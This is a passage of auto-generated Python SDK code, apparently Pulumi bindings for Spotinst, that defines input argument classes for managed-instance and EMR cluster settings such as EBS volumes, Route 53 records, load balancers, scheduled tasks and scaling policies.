should_handle_all_batches) @property @pulumi.getter(name="actionType") def action_type(self) -> pulumi.Input[str]: """ Sets the action that will take place, Accepted values are: `DETACH_OLD`, `DETACH_NEW`. """ return pulumi.get(self, "action_type") @action_type.setter def action_type(self, value: pulumi.Input[str]): pulumi.set(self, "action_type", value) @property @pulumi.getter(name="batchNum") def batch_num(self) -> Optional[pulumi.Input[int]]: return pulumi.get(self, "batch_num") @batch_num.setter def batch_num(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "batch_num", value) @property @pulumi.getter(name="drainingTimeout") def draining_timeout(self) -> Optional[pulumi.Input[int]]: """ Indicates (in seconds) the timeout to wait until instance are detached. """ return pulumi.get(self, "draining_timeout") @draining_timeout.setter def draining_timeout(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "draining_timeout", value) @property @pulumi.getter(name="shouldDecrementTargetCapacity") def should_decrement_target_capacity(self) -> Optional[pulumi.Input[bool]]: """ Decrementing the group target capacity after detaching the instances. """ return pulumi.get(self, "should_decrement_target_capacity") @should_decrement_target_capacity.setter def should_decrement_target_capacity(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "should_decrement_target_capacity", value) @property @pulumi.getter(name="shouldHandleAllBatches") def should_handle_all_batches(self) -> Optional[pulumi.Input[bool]]: """ Indicator if the action should apply to all batches of the deployment or only the latest batch. """ return pulumi.get(self, "should_handle_all_batches") @should_handle_all_batches.setter def should_handle_all_batches(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "should_handle_all_batches", value) @pulumi.input_type class ManagedInstanceBlockDeviceMappingArgs: def __init__(__self__, *, device_name: pulumi.Input[str], ebs: Optional[pulumi.Input['ManagedInstanceBlockDeviceMappingEbsArgs']] = None): """ :param pulumi.Input[str] device_name: The name of the device to mount. :param pulumi.Input['ManagedInstanceBlockDeviceMappingEbsArgs'] ebs: Object """ pulumi.set(__self__, "device_name", device_name) if ebs is not None: pulumi.set(__self__, "ebs", ebs) @property @pulumi.getter(name="deviceName") def device_name(self) -> pulumi.Input[str]: """ The name of the device to mount. """ return pulumi.get(self, "device_name") @device_name.setter def device_name(self, value: pulumi.Input[str]): pulumi.set(self, "device_name", value) @property @pulumi.getter def ebs(self) -> Optional[pulumi.Input['ManagedInstanceBlockDeviceMappingEbsArgs']]: """ Object """ return pulumi.get(self, "ebs") @ebs.setter def ebs(self, value: Optional[pulumi.Input['ManagedInstanceBlockDeviceMappingEbsArgs']]): pulumi.set(self, "ebs", value) @pulumi.input_type class ManagedInstanceBlockDeviceMappingEbsArgs: def __init__(__self__, *, delete_on_termination: Optional[pulumi.Input[bool]] = None, iops: Optional[pulumi.Input[int]] = None, throughput: Optional[pulumi.Input[int]] = None, volume_size: Optional[pulumi.Input[int]] = None, volume_type: Optional[pulumi.Input[str]] = None): """ :param pulumi.Input[bool] delete_on_termination: Whether the volume should be destroyed on instance termination. :param pulumi.Input[int] iops: The amount of provisioned [IOPS](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-io-characteristics.html). This must be set with a `volume_type` of `"io1"`. :param pulumi.Input[int] throughput: The throughput that the volume supports, in MiB/s. Minimum value of 125. Maximum value of 1000. Valid only if `volume_type` is set to `"gp3"`. :param pulumi.Input[int] volume_size: The size of the volume, in GiBs. :param pulumi.Input[str] volume_type: The type of volume. Can be `"standard"`, `"gp2"`, `"gp3"`, `"io1"`, `"st1"` or `"sc1"`. """ if delete_on_termination is not None: pulumi.set(__self__, "delete_on_termination", delete_on_termination) if iops is not None: pulumi.set(__self__, "iops", iops) if throughput is not None: pulumi.set(__self__, "throughput", throughput) if volume_size is not None: pulumi.set(__self__, "volume_size", volume_size) if volume_type is not None: pulumi.set(__self__, "volume_type", volume_type) @property @pulumi.getter(name="deleteOnTermination") def delete_on_termination(self) -> Optional[pulumi.Input[bool]]: """ Whether the volume should be destroyed on instance termination. """ return pulumi.get(self, "delete_on_termination") @delete_on_termination.setter def delete_on_termination(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "delete_on_termination", value) @property @pulumi.getter def iops(self) -> Optional[pulumi.Input[int]]: """ The amount of provisioned [IOPS](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-io-characteristics.html). This must be set with a `volume_type` of `"io1"`. """ return pulumi.get(self, "iops") @iops.setter def iops(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "iops", value) @property @pulumi.getter def throughput(self) -> Optional[pulumi.Input[int]]: """ The throughput that the volume supports, in MiB/s. Minimum value of 125. Maximum value of 1000. Valid only if `volume_type` is set to `"gp3"`. """ return pulumi.get(self, "throughput") @throughput.setter def throughput(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "throughput", value) @property @pulumi.getter(name="volumeSize") def volume_size(self) -> Optional[pulumi.Input[int]]: """ The size of the volume, in GiBs. """ return pulumi.get(self, "volume_size") @volume_size.setter def volume_size(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "volume_size", value) @property @pulumi.getter(name="volumeType") def volume_type(self) -> Optional[pulumi.Input[str]]: """ The type of volume. Can be `"standard"`, `"gp2"`, `"gp3"`, `"io1"`, `"st1"` or `"sc1"`. """ return pulumi.get(self, "volume_type") @volume_type.setter def volume_type(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "volume_type", value) @pulumi.input_type class ManagedInstanceIntegrationRoute53Args: def __init__(__self__, *, domains: pulumi.Input[Sequence[pulumi.Input['ManagedInstanceIntegrationRoute53DomainArgs']]]): """ :param pulumi.Input[Sequence[pulumi.Input['ManagedInstanceIntegrationRoute53DomainArgs']]] domains: Route 53 Domain configurations. """ pulumi.set(__self__, "domains", domains) @property @pulumi.getter def domains(self) -> pulumi.Input[Sequence[pulumi.Input['ManagedInstanceIntegrationRoute53DomainArgs']]]: """ Route 53 Domain configurations. """ return pulumi.get(self, "domains") @domains.setter def domains(self, value: pulumi.Input[Sequence[pulumi.Input['ManagedInstanceIntegrationRoute53DomainArgs']]]): pulumi.set(self, "domains", value) @pulumi.input_type class ManagedInstanceIntegrationRoute53DomainArgs: def __init__(__self__, *, hosted_zone_id: pulumi.Input[str], record_sets: pulumi.Input[Sequence[pulumi.Input['ManagedInstanceIntegrationRoute53DomainRecordSetArgs']]], record_set_type: Optional[pulumi.Input[str]] = None, spotinst_acct_id: Optional[pulumi.Input[str]] = None): """ :param pulumi.Input[str] hosted_zone_id: The Route 53 Hosted Zone Id for the registered Domain. :param pulumi.Input[Sequence[pulumi.Input['ManagedInstanceIntegrationRoute53DomainRecordSetArgs']]] record_sets: List of record sets :param pulumi.Input[str] record_set_type: The type of the record set. Valid values: `"a"`, `"cname"`. :param pulumi.Input[str] spotinst_acct_id: The Spotinst account ID that is linked to the AWS account that holds the Route 53 hosted Zone Id. The default is the user Spotinst account provided as a URL parameter. """ pulumi.set(__self__, "hosted_zone_id", hosted_zone_id) pulumi.set(__self__, "record_sets", record_sets) if record_set_type is not None: pulumi.set(__self__, "record_set_type", record_set_type) if spotinst_acct_id is not None: pulumi.set(__self__, "spotinst_acct_id", spotinst_acct_id) @property @pulumi.getter(name="hostedZoneId") def hosted_zone_id(self) -> pulumi.Input[str]: """ The Route 53 Hosted Zone Id for the registered Domain. """ return pulumi.get(self, "hosted_zone_id") @hosted_zone_id.setter def hosted_zone_id(self, value: pulumi.Input[str]): pulumi.set(self, "hosted_zone_id", value) @property @pulumi.getter(name="recordSets") def record_sets(self) -> pulumi.Input[Sequence[pulumi.Input['ManagedInstanceIntegrationRoute53DomainRecordSetArgs']]]: """ List of record sets """ return pulumi.get(self, "record_sets") @record_sets.setter def record_sets(self, value: pulumi.Input[Sequence[pulumi.Input['ManagedInstanceIntegrationRoute53DomainRecordSetArgs']]]): pulumi.set(self, "record_sets", value) @property @pulumi.getter(name="recordSetType") def record_set_type(self) -> Optional[pulumi.Input[str]]: """ The type of the record set. Valid values: `"a"`, `"cname"`. """ return pulumi.get(self, "record_set_type") @record_set_type.setter def record_set_type(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "record_set_type", value) @property @pulumi.getter(name="spotinstAcctId") def spotinst_acct_id(self) -> Optional[pulumi.Input[str]]: """ The Spotinst account ID that is linked to the AWS account that holds the Route 53 hosted Zone Id. The default is the user Spotinst account provided as a URL parameter. """ return pulumi.get(self, "spotinst_acct_id") @spotinst_acct_id.setter def spotinst_acct_id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "spotinst_acct_id", value) @pulumi.input_type class ManagedInstanceIntegrationRoute53DomainRecordSetArgs: def __init__(__self__, *, name: pulumi.Input[str], use_public_dns: Optional[pulumi.Input[bool]] = None, use_public_ip: Optional[pulumi.Input[bool]] = None): """ :param pulumi.Input[str] name: The record set name. :param pulumi.Input[bool] use_public_dns: - Designates whether the DNS address should be exposed to connections outside the VPC. :param pulumi.Input[bool] use_public_ip: - Designates whether the IP address should be exposed to connections outside the VPC. """ pulumi.set(__self__, "name", name) if use_public_dns is not None: pulumi.set(__self__, "use_public_dns", use_public_dns) if use_public_ip is not None: pulumi.set(__self__, "use_public_ip", use_public_ip) @property @pulumi.getter def name(self) -> pulumi.Input[str]: """ The record set name. """ return pulumi.get(self, "name") @name.setter def name(self, value: pulumi.Input[str]): pulumi.set(self, "name", value) @property @pulumi.getter(name="usePublicDns") def use_public_dns(self) -> Optional[pulumi.Input[bool]]: """ - Designates whether the DNS address should be exposed to connections outside the VPC. """ return pulumi.get(self, "use_public_dns") @use_public_dns.setter def use_public_dns(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "use_public_dns", value) @property @pulumi.getter(name="usePublicIp") def use_public_ip(self) -> Optional[pulumi.Input[bool]]: """ - Designates whether the IP address should be exposed to connections outside the VPC. """ return pulumi.get(self, "use_public_ip") @use_public_ip.setter def use_public_ip(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "use_public_ip", value) @pulumi.input_type class ManagedInstanceLoadBalancerArgs: def __init__(__self__, *, type: pulumi.Input[str], arn: Optional[pulumi.Input[str]] = None, auto_weight: Optional[pulumi.Input[bool]] = None, az_awareness: Optional[pulumi.Input[bool]] = None, balancer_id: Optional[pulumi.Input[str]] = None, name: Optional[pulumi.Input[str]] = None, target_set_id: Optional[pulumi.Input[str]] = None): """ :param pulumi.Input[str] type: String, Action type. Supported action types: `pause`, `resume`, `recycle`. :param pulumi.Input[str] arn: The AWS resource ARN (Required only for ALB target groups). :param pulumi.Input[bool] auto_weight: "Auto Weight" will automatically provide a higher weight for instances that are larger as appropriate. For example, if you have configured your Elastigroup with m4.large and m4.xlarge instances the m4.large will have half the weight of an m4.xlarge. This ensures that larger instances receive a higher number of MLB requests. :param pulumi.Input[bool] az_awareness: "AZ Awareness" will ensure that instances within the same AZ are using the corresponding MLB runtime instance in the same AZ. This feature reduces multi-zone data transfer fees. :param pulumi.Input[str] balancer_id: The Multai load balancer ID. Example: lb-123456 :param pulumi.Input[str] name: The record set name. :param pulumi.Input[str] target_set_id: The Multai load target set ID. Example: ts-123456 """ pulumi.set(__self__, "type", type) if arn is not None: pulumi.set(__self__, "arn", arn) if auto_weight is not None: pulumi.set(__self__, "auto_weight", auto_weight) if az_awareness is not None: pulumi.set(__self__, "az_awareness", az_awareness) if balancer_id is not None: pulumi.set(__self__, "balancer_id", balancer_id) if name is not None: pulumi.set(__self__, "name", name) if target_set_id is not None: pulumi.set(__self__, "target_set_id", target_set_id) @property @pulumi.getter def type(self) -> pulumi.Input[str]: """ String, Action type. Supported action types: `pause`, `resume`, `recycle`. """ return pulumi.get(self, "type") @type.setter def type(self, value: pulumi.Input[str]): pulumi.set(self, "type", value) @property @pulumi.getter def arn(self) -> Optional[pulumi.Input[str]]: """ The AWS resource ARN (Required only for ALB target groups). """ return pulumi.get(self, "arn") @arn.setter def arn(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "arn", value) @property @pulumi.getter(name="autoWeight") def auto_weight(self) -> Optional[pulumi.Input[bool]]: """ "Auto Weight" will automatically provide a higher weight for instances that are larger as appropriate. For example, if you have configured your Elastigroup with m4.large and m4.xlarge instances the m4.large will have half the weight of an m4.xlarge. This ensures that larger instances receive a higher number of MLB requests. """ return pulumi.get(self, "auto_weight") @auto_weight.setter def auto_weight(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "auto_weight", value) @property @pulumi.getter(name="azAwareness") def az_awareness(self) -> Optional[pulumi.Input[bool]]: """ "AZ Awareness" will ensure that instances within the same AZ are using the corresponding MLB runtime instance in the same AZ. This feature reduces multi-zone data transfer fees. """ return pulumi.get(self, "az_awareness") @az_awareness.setter def az_awareness(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "az_awareness", value) @property @pulumi.getter(name="balancerId") def balancer_id(self) -> Optional[pulumi.Input[str]]: """ The Multai load balancer ID. Example: lb-123456 """ return pulumi.get(self, "balancer_id") @balancer_id.setter def balancer_id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "balancer_id", value) @property @pulumi.getter def name(self) -> Optional[pulumi.Input[str]]: """ The record set name. """ return pulumi.get(self, "name") @name.setter def name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "name", value) @property @pulumi.getter(name="targetSetId") def target_set_id(self) -> Optional[pulumi.Input[str]]: """ The Multai load target set ID. Example: ts-123456 """ return pulumi.get(self, "target_set_id") @target_set_id.setter def target_set_id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "target_set_id", value) @pulumi.input_type class ManagedInstanceManagedInstanceActionArgs: def __init__(__self__, *, type: pulumi.Input[str]): """ :param pulumi.Input[str] type: String, Action type. Supported action types: `pause`, `resume`, `recycle`. """ pulumi.set(__self__, "type", type) @property @pulumi.getter def type(self) -> pulumi.Input[str]: """ String, Action type. Supported action types: `pause`, `resume`, `recycle`. """ return pulumi.get(self, "type") @type.setter def type(self, value: pulumi.Input[str]): pulumi.set(self, "type", value) @pulumi.input_type class ManagedInstanceNetworkInterfaceArgs: def __init__(__self__, *, device_index: pulumi.Input[str], associate_ipv6_address: Optional[pulumi.Input[bool]] = None, associate_public_ip_address: Optional[pulumi.Input[bool]] = None): """ :param pulumi.Input[str] device_index: The position of the network interface in the attachment order. A primary network interface has a device index of 0. If you specify a network interface when launching an instance, you must specify the device index. :param pulumi.Input[bool] associate_ipv6_address: Indicates whether to assign an IPv6 address. Amazon EC2 chooses the IPv6 addresses from the range of the subnet. Default: `false` :param pulumi.Input[bool] associate_public_ip_address: Indicates whether to assign a public IPv4 address to an instance you launch in a VPC. The public IP address can only be assigned to a network interface for eth0, and can only be assigned to a new network interface, not an existing one. You cannot specify more than one network interface in the request. If launching into a default subnet, the default value is true. """ pulumi.set(__self__, "device_index", device_index) if associate_ipv6_address is not None: pulumi.set(__self__, "associate_ipv6_address", associate_ipv6_address) if associate_public_ip_address is not None: pulumi.set(__self__, "associate_public_ip_address", associate_public_ip_address) @property @pulumi.getter(name="deviceIndex") def device_index(self) -> pulumi.Input[str]: """ The position of the network interface in the attachment order. A primary network interface has a device index of 0. If you specify a network interface when launching an instance, you must specify the device index. """ return pulumi.get(self, "device_index") @device_index.setter def device_index(self, value: pulumi.Input[str]): pulumi.set(self, "device_index", value) @property @pulumi.getter(name="associateIpv6Address") def associate_ipv6_address(self) -> Optional[pulumi.Input[bool]]: """ Indicates whether to assign an IPv6 address. Amazon EC2 chooses the IPv6 addresses from the range of the subnet. Default: `false` """ return pulumi.get(self, "associate_ipv6_address") @associate_ipv6_address.setter def associate_ipv6_address(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "associate_ipv6_address", value) @property @pulumi.getter(name="associatePublicIpAddress") def associate_public_ip_address(self) -> Optional[pulumi.Input[bool]]: """ Indicates whether to assign a public IPv4 address to an instance you launch in a VPC. The public IP address can only be assigned to a network interface for eth0, and can only be assigned to a new network interface, not an existing one. You cannot specify more than one network interface in the request. If launching into a default subnet, the default value is true. """ return pulumi.get(self, "associate_public_ip_address") @associate_public_ip_address.setter def associate_public_ip_address(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "associate_public_ip_address", value) @pulumi.input_type class ManagedInstanceResourceTagSpecificationArgs: def __init__(__self__, *, should_tag_amis: Optional[pulumi.Input[bool]] = None, should_tag_enis: Optional[pulumi.Input[bool]] = None, should_tag_snapshots: Optional[pulumi.Input[bool]] = None, should_tag_volumes: Optional[pulumi.Input[bool]] = None): """ :param pulumi.Input[bool] should_tag_amis: Tag specification for AMI resources. :param pulumi.Input[bool] should_tag_enis: Tag specification for ENI resources. :param pulumi.Input[bool] should_tag_snapshots: Tag specification for Snapshot resources. :param pulumi.Input[bool] should_tag_volumes: Tag specification for Volume resources. """ if should_tag_amis is not None: pulumi.set(__self__, "should_tag_amis", should_tag_amis) if should_tag_enis is not None: pulumi.set(__self__, "should_tag_enis", should_tag_enis) if should_tag_snapshots is not None: pulumi.set(__self__, "should_tag_snapshots", should_tag_snapshots) if should_tag_volumes is not None: pulumi.set(__self__, "should_tag_volumes", should_tag_volumes) @property @pulumi.getter(name="shouldTagAmis") def should_tag_amis(self) -> Optional[pulumi.Input[bool]]: """ Tag specification for AMI resources. """ return pulumi.get(self, "should_tag_amis") @should_tag_amis.setter def should_tag_amis(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "should_tag_amis", value) @property @pulumi.getter(name="shouldTagEnis") def should_tag_enis(self) -> Optional[pulumi.Input[bool]]: """ Tag specification for ENI resources. """ return pulumi.get(self, "should_tag_enis") @should_tag_enis.setter def should_tag_enis(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "should_tag_enis", value) @property @pulumi.getter(name="shouldTagSnapshots") def should_tag_snapshots(self) -> Optional[pulumi.Input[bool]]: """ Tag specification for Snapshot resources. """ return pulumi.get(self, "should_tag_snapshots") @should_tag_snapshots.setter def should_tag_snapshots(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "should_tag_snapshots", value) @property @pulumi.getter(name="shouldTagVolumes") def should_tag_volumes(self) -> Optional[pulumi.Input[bool]]: """ Tag specification for Volume resources. """ return pulumi.get(self, "should_tag_volumes") @should_tag_volumes.setter def should_tag_volumes(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "should_tag_volumes", value) @pulumi.input_type class ManagedInstanceRevertToSpotArgs: def __init__(__self__, *, perform_at: pulumi.Input[str]): """ :param pulumi.Input[str] perform_at: Valid values: `"always"`, `"never"`, `"timeWindow"`. Default `"never"`. """ pulumi.set(__self__, "perform_at", perform_at) @property @pulumi.getter(name="performAt") def perform_at(self) -> pulumi.Input[str]: """ Valid values: `"always"`, `"never"`, `"timeWindow"`. Default `"never"`. """ return pulumi.get(self, "perform_at") @perform_at.setter def perform_at(self, value: pulumi.Input[str]): pulumi.set(self, "perform_at", value) @pulumi.input_type class ManagedInstanceScheduledTaskArgs: def __init__(__self__, *, task_type: pulumi.Input[str], cron_expression: Optional[pulumi.Input[str]] = None, frequency: Optional[pulumi.Input[str]] = None, is_enabled: Optional[pulumi.Input[bool]] = None, start_time: Optional[pulumi.Input[str]] = None): """ :param pulumi.Input[str] task_type: The task type to run. Valid values: `"pause"`, `"resume"`, `"recycle"`. :param pulumi.Input[str] cron_expression: A valid cron expression. The cron is running in UTC time zone and is in Unix cron format Cron Expression Validator Script. Only one of ‘frequency’ or ‘cronExpression’ should be used at a time. Example: `"0 1 * * *"`. :param pulumi.Input[str] frequency: Set frequency for the task. Valid values: "hourly", "daily", "weekly", "continuous". :param pulumi.Input[bool] is_enabled: Describes whether the task is enabled. When true the task should run when false it should not run. :param pulumi.Input[str] start_time: DATETIME in ISO-8601 format. Sets a start time for scheduled actions. If "frequency" or "cronExpression" are not used - the task will run only once at the start time and will then be deleted from the instance configuration. Example: `"2019-05-23T10:55:09Z"` """ pulumi.set(__self__, "task_type", task_type) if cron_expression is not None: pulumi.set(__self__, "cron_expression", cron_expression) if frequency is not None: pulumi.set(__self__, "frequency", frequency) if is_enabled is not None: pulumi.set(__self__, "is_enabled", is_enabled) if start_time is not None: pulumi.set(__self__, "start_time", start_time) @property @pulumi.getter(name="taskType") def task_type(self) -> pulumi.Input[str]: """ The task type to run. Valid values: `"pause"`, `"resume"`, `"recycle"`. """ return pulumi.get(self, "task_type") @task_type.setter def task_type(self, value: pulumi.Input[str]): pulumi.set(self, "task_type", value) @property @pulumi.getter(name="cronExpression") def cron_expression(self) -> Optional[pulumi.Input[str]]: """ A valid cron expression. The cron is running in UTC time zone and is in Unix cron format Cron Expression Validator Script. Only one of ‘frequency’ or ‘cronExpression’ should be used at a time. Example: `"0 1 * * *"`. """ return pulumi.get(self, "cron_expression") @cron_expression.setter def cron_expression(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "cron_expression", value) @property @pulumi.getter def frequency(self) -> Optional[pulumi.Input[str]]: """ Set frequency for the task. Valid values: "hourly", "daily", "weekly", "continuous". """ return pulumi.get(self, "frequency") @frequency.setter def frequency(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "frequency", value) @property @pulumi.getter(name="isEnabled") def is_enabled(self) -> Optional[pulumi.Input[bool]]: """ Describes whether the task is enabled. When true the task should run when false it should not run. """ return pulumi.get(self, "is_enabled") @is_enabled.setter def is_enabled(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "is_enabled", value) @property @pulumi.getter(name="startTime") def start_time(self) -> Optional[pulumi.Input[str]]: """ DATETIME in ISO-8601 format. Sets a start time for scheduled actions. If "frequency" or "cronExpression" are not used - the task will run only once at the start time and will then be deleted from the instance configuration. Example: `"2019-05-23T10:55:09Z"` """ return pulumi.get(self, "start_time") @start_time.setter def start_time(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "start_time", value) @pulumi.input_type class ManagedInstanceTagArgs: def __init__(__self__, *, key: Optional[pulumi.Input[str]] = None, value: Optional[pulumi.Input[str]] = None): """ :param pulumi.Input[str] key: Tag's key. :param pulumi.Input[str] value: Tag's name. """ if key is not None: pulumi.set(__self__, "key", key) if value is not None: pulumi.set(__self__, "value", value) @property @pulumi.getter def key(self) -> Optional[pulumi.Input[str]]: """ Tag's key. """ return pulumi.get(self, "key") @key.setter def key(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "key", value) @property @pulumi.getter def value(self) -> Optional[pulumi.Input[str]]: """ Tag's name. """ return pulumi.get(self, "value") @value.setter def value(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "value", value) @pulumi.input_type class MrScalarApplicationArgs: def __init__(__self__, *, name: pulumi.Input[str], args: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None, version: Optional[pulumi.Input[str]] = None): """ :param pulumi.Input[str] name: The application name. :param pulumi.Input[Sequence[pulumi.Input[str]]] args: Arguments for EMR to pass to the application. :param pulumi.Input[str] version: T he version of the application. """ pulumi.set(__self__, "name", name) if args is not None: pulumi.set(__self__, "args", args) if version is not None: pulumi.set(__self__, "version", version) @property @pulumi.getter def name(self) -> pulumi.Input[str]: """ The application name. """ return pulumi.get(self, "name") @name.setter def name(self, value: pulumi.Input[str]): pulumi.set(self, "name", value) @property @pulumi.getter def args(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]: """ Arguments for EMR to pass to the application. """ return pulumi.get(self, "args") @args.setter def args(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]): pulumi.set(self, "args", value) @property @pulumi.getter def version(self) -> Optional[pulumi.Input[str]]: """ T he version of the application. """ return pulumi.get(self, "version") @version.setter def version(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "version", value) @pulumi.input_type class MrScalarBootstrapActionsFileArgs: def __init__(__self__, *, bucket: pulumi.Input[str], key: pulumi.Input[str]): """ :param pulumi.Input[str] bucket: S3 Bucket name for bootstrap actions. :param pulumi.Input[str] key: S3 key for bootstrap actions. """ pulumi.set(__self__, "bucket", bucket) pulumi.set(__self__, "key", key) @property @pulumi.getter def bucket(self) -> pulumi.Input[str]: """ S3 Bucket name for bootstrap actions. """ return pulumi.get(self, "bucket") @bucket.setter def bucket(self, value: pulumi.Input[str]): pulumi.set(self, "bucket", value) @property @pulumi.getter def key(self) -> pulumi.Input[str]: """ S3 key for bootstrap actions. """ return pulumi.get(self, "key") @key.setter def key(self, value: pulumi.Input[str]): pulumi.set(self, "key", value) @pulumi.input_type class MrScalarConfigurationsFileArgs: def __init__(__self__, *, bucket: pulumi.Input[str], key: pulumi.Input[str]): """ :param pulumi.Input[str] bucket: S3 Bucket name for bootstrap actions. :param pulumi.Input[str] key: S3 key for bootstrap actions. """ pulumi.set(__self__, "bucket", bucket) pulumi.set(__self__, "key", key) @property @pulumi.getter def bucket(self) -> pulumi.Input[str]: """ S3 Bucket name for bootstrap actions. """ return pulumi.get(self, "bucket") @bucket.setter def bucket(self, value: pulumi.Input[str]): pulumi.set(self, "bucket", value) @property @pulumi.getter def key(self) -> pulumi.Input[str]: """ S3 key for bootstrap actions. """ return pulumi.get(self, "key") @key.setter def key(self, value: pulumi.Input[str]): pulumi.set(self, "key", value) @pulumi.input_type class MrScalarCoreEbsBlockDeviceArgs: def __init__(__self__, *, size_in_gb: pulumi.Input[int], volume_type: pulumi.Input[str], iops: Optional[pulumi.Input[int]] = None, volumes_per_instance: Optional[pulumi.Input[int]] = None): """ :param pulumi.Input[int] size_in_gb: Size of the volume, in GBs. :param pulumi.Input[str] volume_type: volume type. Allowed values are 'gp2', 'io1' and others. :param pulumi.Input[int] iops: IOPS for the volume. Required in some volume types, such as io1. :param pulumi.Input[int] volumes_per_instance: Amount of volumes per instance in the master group. """ pulumi.set(__self__, "size_in_gb", size_in_gb) pulumi.set(__self__, "volume_type", volume_type) if iops is not None: pulumi.set(__self__, "iops", iops) if volumes_per_instance is not None: pulumi.set(__self__, "volumes_per_instance", volumes_per_instance) @property @pulumi.getter(name="sizeInGb") def size_in_gb(self) -> pulumi.Input[int]: """ Size of the volume, in GBs. """ return pulumi.get(self, "size_in_gb") @size_in_gb.setter def size_in_gb(self, value: pulumi.Input[int]): pulumi.set(self, "size_in_gb", value) @property @pulumi.getter(name="volumeType") def volume_type(self) -> pulumi.Input[str]: """ volume type. Allowed values are 'gp2', 'io1' and others. """ return pulumi.get(self, "volume_type") @volume_type.setter def volume_type(self, value: pulumi.Input[str]): pulumi.set(self, "volume_type", value) @property @pulumi.getter def iops(self) -> Optional[pulumi.Input[int]]: """ IOPS for the volume. Required in some volume types, such as io1. """ return pulumi.get(self, "iops") @iops.setter def iops(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "iops", value) @property @pulumi.getter(name="volumesPerInstance") def volumes_per_instance(self) -> Optional[pulumi.Input[int]]: """ Amount of volumes per instance in the master group. """ return pulumi.get(self, "volumes_per_instance") @volumes_per_instance.setter def volumes_per_instance(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "volumes_per_instance", value) @pulumi.input_type class MrScalarCoreScalingDownPolicyArgs: def __init__(__self__, *, metric_name: pulumi.Input[str], namespace: pulumi.Input[str], policy_name: pulumi.Input[str], threshold: pulumi.Input[float], unit: pulumi.Input[str], action_type: Optional[pulumi.Input[str]] = None, adjustment: Optional[pulumi.Input[str]] = None, cooldown: Optional[pulumi.Input[int]] = None, dimensions: Optional[pulumi.Input[Mapping[str, Any]]] = None, evaluation_periods: Optional[pulumi.Input[int]] = None, max_target_capacity: Optional[pulumi.Input[str]] = None, maximum: Optional[pulumi.Input[str]] = None, min_target_capacity: Optional[pulumi.Input[str]] = None, minimum: Optional[pulumi.Input[str]] = None, operator: Optional[pulumi.Input[str]] = None, period: Optional[pulumi.Input[int]] = None, statistic: Optional[pulumi.Input[str]] = None, target: Optional[pulumi.Input[str]] = None): """ :param pulumi.Input[str] metric_name: The name of the metric in CloudWatch which the statement will be based on. :param pulumi.Input[str] namespace: Must contain the value: `AWS/ElasticMapReduce`. :param pulumi.Input[str] policy_name: The name of the policy. :param pulumi.Input[float] threshold: The value that the specified statistic is compared to. :param pulumi.Input[str] unit: The unit for a given metric. Valid Values: `seconds` | `microseconds` | `milliseconds` | `bytes` | `kilobytes` | `megabytes` | `gigabytes` | `terabytes` | `bits` | `kilobits` | `megabits` | `gigabits` | `terabits` | `percent` | `count` | `bytes/second` | `kilobytes/second` | `megabytes/second` | `gigabytes/second` | `terabytes/second` | `bits/second` | `kilobits/second` | `megabits/second` | `gigabits/second` | `terabits/second` | `count/second` | `none` :param pulumi.Input[str] action_type: The type of action to perform. Allowed values are : 'adjustment', 'setMinTarget', 'setMaxTarget', 'updateCapacity', 'percentageAdjustment' :param pulumi.Input[str] adjustment: The number of instances to add/remove to/from the target capacity when scale is needed. :param pulumi.Input[int] cooldown: The amount of time, in seconds, after a scaling activity completes and before the next scaling activity can start. :param pulumi.Input[Mapping[str, Any]] dimensions: A mapping of dimensions describing qualities of the metric. :param pulumi.Input[int] evaluation_periods: The number of periods over which data is compared to the specified threshold. :param pulumi.Input[str] max_target_capacity: Max target capacity for scale down. :param pulumi.Input[str] maximum: The maximum to set when scale is needed. :param pulumi.Input[str] min_target_capacity: Min target capacity for scale up. :param pulumi.Input[str] minimum: The minimum to set when scale is needed. :param pulumi.Input[str] operator: The operator to use in order to determine if the policy is applicable. Valid values: `gt` | `gte` | `lt` | `lte` :param pulumi.Input[int] period: The time window in seconds over which the statistic is applied. :param pulumi.Input[str] statistic: The aggregation method of the given metric. Valid Values: `average` | `sum` | `sampleCount` | `maximum` | `minimum` :param pulumi.Input[str] target: The number of instances to set when scale is needed. """ pulumi.set(__self__, "metric_name", metric_name) pulumi.set(__self__, "namespace", namespace) pulumi.set(__self__, "policy_name", policy_name) pulumi.set(__self__, "threshold", threshold) pulumi.set(__self__, "unit", unit) if action_type is not None: pulumi.set(__self__, "action_type", action_type) if adjustment is not None: pulumi.set(__self__, "adjustment", adjustment) if cooldown is not None: pulumi.set(__self__, 